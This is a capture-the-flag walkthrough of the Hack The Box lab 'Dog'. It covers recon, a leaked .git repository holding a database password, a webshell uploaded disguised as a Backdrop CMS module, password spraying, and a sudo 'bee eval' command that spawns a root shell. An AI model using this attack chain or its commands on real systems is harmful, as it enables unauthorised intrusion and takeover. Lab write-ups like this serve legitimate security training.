Dog

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#bee#git#password-spraying

Start 08:55 11-07-2025

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Scope:
10.10.11.58

Recon

Nmap

sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn dog.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-robots.txt: 22 disallowed entries
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
| http-git:
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I notice there’s a .git repo found, let’s check it out.

git-dumper

Using git log I notice only 1 commit:

Within settings.php I find a set of creds:

root
BackDropJ2024DS2024

Note

However root is not recognized as a username so it must be solely for mysql.

grep

In order to find the username amongst all the files I used:

grep -r dog.htb

This spat out the username, let’s try it out.

80/TCP - HTTP

I got in with the combination of creds, let’s check it out.

I notice a lot of user accounts:

I then found a way to add pages in Home -> Add Content:

I tried making a webshell out of a page:

Unfortunately this didn’t work.

Instead I will try to upload it as a theme:

But I require an .info file:

I create my webshell.info file:

type = module
name = Block
description = Controls the visual building blocks a page is constructed with. Blocks are boxes of content rendered into an area, or region, of a web page.
package = Layouts
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x

configure = admin/structure/block

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662

And bundle it with the webshell:

Now I upload it:

I can find it here:

Let’s get a foothold.

Foothold

Shell as www-data

I then check whether mysql is open:

It is, let’s try to access it.

mysql

I easily log in with the previous found creds:

root
BackDropJ2024DS2024

I went ahead and copied over john and jobert’s hashes since these had a higher priority.

Makes sense since Backdrop CMS is based on Drupal.

hash cracking - FAIL

This went on for way too long so I tried out john but that didn’t give any result either:

I then just tried to password spray the previous found pass and it worked!

user.txt

Privilege Escalation

Bee binary

I went ahead and tried the binary to see what it does and found this:

I can thus use the following command:

sudo /usr/local/bin/bee --root=/var/www/html eval 'system("/bin/bash -p");'

And now I’m root.

root.txt

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Finished 10:17 11-07-2025